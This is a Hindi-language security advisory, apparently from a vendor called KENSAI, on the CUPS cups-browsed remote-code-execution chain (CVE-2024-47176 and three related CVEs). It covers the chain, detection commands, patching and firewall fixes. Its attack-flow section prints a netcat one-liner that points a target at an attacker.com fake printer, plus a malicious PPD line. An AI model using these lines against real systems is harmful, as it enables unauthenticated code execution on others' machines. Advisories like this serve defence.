CVE-2024-47176: CUPS Linux RCE — 300K इंटरनेट-एक्सपोज़्ड सिस्टम
चार CUPS भेद्यताओं (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) की एक चेन cups-browsed चलाने वाले Linux सिस्टम पर अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन को सक्षम बनाती है। खुलासे के समय 300,000 से ज़्यादा सिस्टम इंटरनेट-एक्सपोज़्ड थे। यह डिफ़ॉल्ट रूप से Ubuntu, Debian, Red Hat, Fedora, और ज़्यादातर Linux डिस्ट्रीब्यूशन को प्रभावित करता है।
| विशेषता | मान |
|---|---|
| प्राइमरी CVE | CVE-2024-47176 |
| संबंधित CVE | CVE-2024-47076, -47175, -47177 |
| CVSS Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: अनुचित इनपुट वैलिडेशन |
| प्रकाशित | 26 सितंबर 2024 |
| शोषण | सार्वजनिक PoC — अवसरवादी स्कैनिंग देखी गई |
CVE-2024-47176 क्या है?
CUPS (Common Unix Printing System) Linux और macOS पर डिफ़ॉल्ट प्रिंटिंग इन्फ़्रास्ट्रक्चर है। cups-browsed डेमन नेटवर्क पर प्रिंटर घोषणाओं के लिए UDP पोर्ट 631 पर सुनता है। CVE-2024-47176 चार-भेद्यता चेन में एंट्री पॉइंट है: cups-browsed बिना ऑथेंटिकेशन के इंटरनेट सहित किसी भी स्रोत से UDP पैकेट स्वीकार करता है।
पोर्ट 631 पर एक क्राफ़्टेड UDP पैकेट भेजकर, हमलावर पीड़ित के सिस्टम को हमलावर-नियंत्रित "प्रिंटर" से वापस कनेक्ट करने पर मजबूर कर सकता है। दुर्भावनापूर्ण प्रिंटर एक क्राफ़्टेड PPD (PostScript Printer Description) फ़ाइल देता है जिसमें एम्बेडेड कमांड होते हैं। जब पीड़ित कुछ भीप्रिंट करता है, तो वे कमांड उसके सिस्टम पर निष्पादित हो जाते हैं।
पूरी अटैक चेन
| CVE | कंपोनेंट | विवरण |
|---|---|---|
| CVE-2024-47176 | cups-browsed | UDP 0.0.0.0:631 पर बाइंड होता है, किसी भी IP से पैकेट स्वीकार करता है |
| CVE-2024-47076 | libcupsfilters | PPD फ़ाइल बनाते समय IPP विशेषता-मान सैनिटाइज़ नहीं किए जाते |
| CVE-2024-47175 | libppd | PPD फ़ाइल जनरेशन IPP विशेषताओं को सैनिटाइज़ नहीं करता |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine मनमाना कमांड एक्ज़ीक्यूशन की अनुमति देता है |
अटैक फ़्लो
# Step 1: Attacker sends UDP packet to target:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Step 2: cups-browsed fetches IPP attributes from attacker's server # Attacker's server returns malicious printer attributes # Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data # PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Step 4: Next time any user prints (or admin triggers test print): # FoomaticRIP executes the command from the PPD # Command runs as the lp user (often has significant filesystem access)
⚠ सेटअप के बाद किसी यूज़र इंटरैक्शन की ज़रूरत नहीं
हमलावर को दुर्भावनापूर्ण प्रिंटर स्थापित करने के लिए बस एक UDP पैकेट भेजना होता है। इसके बाद जब भी सिस्टम पर कोई यूज़र प्रिंट करने की कोशिश करता है, शोषण ट्रिगर हो जाता है — जिसमें रूटीन प्रिंट जॉब भी शामिल हैं जो घंटों या दिनों बाद हो सकते हैं। सर्वर पर, हमलावर नए इंस्टॉल किए गए दुर्भावनापूर्ण प्रिंटर को प्रिंट जॉब भेजकर रिमोट रूप से शोषण ट्रिगर भी कर सकता है।
प्रभाव का दायरा
खुलासे के समय, Shodan और Censys स्कैन ने लगभग 300,000 इंटरनेट-एक्सपोज़्ड सिस्टम की पहचान की जिनका UDP पोर्ट 631 खुला था। यह भेद्यता लगभग हर प्रमुख Linux डिस्ट्रीब्यूशन को प्रभावित करती है जो cups-browsed शिप करता है:
- Ubuntu (डेस्कटॉप संस्करणों में cups-browsed डिफ़ॉल्ट रूप से सक्षम)
- Debian और इसके डेरिवेटिव
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- ज़्यादातर Linux डेस्कटॉप डिस्ट्रीब्यूशन
macOS प्रभावित नहीं है क्योंकि यह अपना ख़ुद का प्रिंटिंग स्टैक इस्तेमाल करता है। हालाँकि, macOS भी आंतरिक रूप से CUPS इस्तेमाल करता है, इसलिए कुछ कॉन्फ़िगरेशन संबंधित समस्याओं से प्रभावित हो सकते हैं।
पहचान
# Check if cups-browsed is running systemctl status cups-browsed ps aux | grep cups-browsed # Check if UDP 631 is exposed ss -ulnp | grep 631 netstat -ulnp | grep 631 # Check for unexpected printer additions lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Look for suspicious PPD files find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Check logs for unexpected IPP connections grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
सुधार
- अगर ज़रूरत न हो तो cups-browsed रोकें और अक्षम करें:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- पैच लागू करें: cups-browsed 2.0.1 और cups-filters 2.0.1 इन भेद्यताओं को ठीक करते हैं। Ubuntu, Debian, और Red Hat ने खुलासे के कुछ ही दिनों के भीतर पैच जारी किए।
- फ़ायरवॉल पर UDP पोर्ट 631 ब्लॉक करें: बाहरी पैकेट को cups-browsed तक पहुँचने से रोकें
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- अगर ज़रूरत न हो तो FoomaticRIP हटाएँ: अंतिम RCE चरण के लिए foomatic-rip चाहिए। इसे हटाने से (अगर Foomatic प्रिंटर इस्तेमाल नहीं होते) कोड एक्ज़ीक्यूशन क्षमता ख़त्म हो जाती है।
- प्रिंटर कॉन्फ़िगरेशन का ऑडिट करें: इसमें से किसी भी अपरिचित प्रिंटर एंट्री को हटाएँ:
/etc/cups/printers.conf
💡 ज़्यादातर सर्वर भेद्य नहीं हैं: Linux के सर्वर इंस्टॉलेशन आमतौर पर डिफ़ॉल्ट रूप से cups-browsed इंस्टॉल नहीं करते। ज़्यादा जोखिम Linux वर्कस्टेशन और डेवलपमेंट मशीनों में है। हालाँकि, प्रिंटिंग के लिए कॉन्फ़िगर किए गए किसी भी Linux सिस्टम का ऑडिट किया जाना चाहिए।
KENSAI पहचान क्षमता
- UDP पोर्ट स्कैनिंग: KENSAI आपकी बाहरी अटैक-सतह पर इंटरनेट-एक्सपोज़्ड UDP 631 सर्विस की पहचान करता है
- सर्विस फ़िंगरप्रिंटिंग: नेटवर्क रिस्पॉन्स से CUPS वर्ज़न और cups-browsed की मौजूदगी की पहचान करता है
- इंटरनल नेटवर्क स्कैनिंग: KENSAI का इंटरनल स्कैनर इंटरनल Linux वर्कस्टेशन और सर्वर पर चल रहे cups-browsed की पहचान करता है
- पैकेज वर्ज़न पहचान: एजेंट-आधारित स्कैनिंग Linux एंडपॉइंट पर भेद्य CUPS पैकेज वर्ज़न की पहचान करती है
- सुधार मार्गदर्शन: आपके डिस्ट्रीब्यूशन के लिए OS-विशिष्ट कमांड के साथ चरण-दर-चरण सुधार निर्देश
आपके एनवायरनमेंट में कितने Linux सिस्टम पर cups-browsed एक्सपोज़्ड है?
KENSAI आपके सभी Linux सिस्टम पर CUPS भेद्यताओं के लिए आपकी इंटरनल और बाहरी अटैक-सतह को स्कैन करता है। मिनटों में पूरी तस्वीर पाएँ।
CUPS एक्सपोज़र खोजें →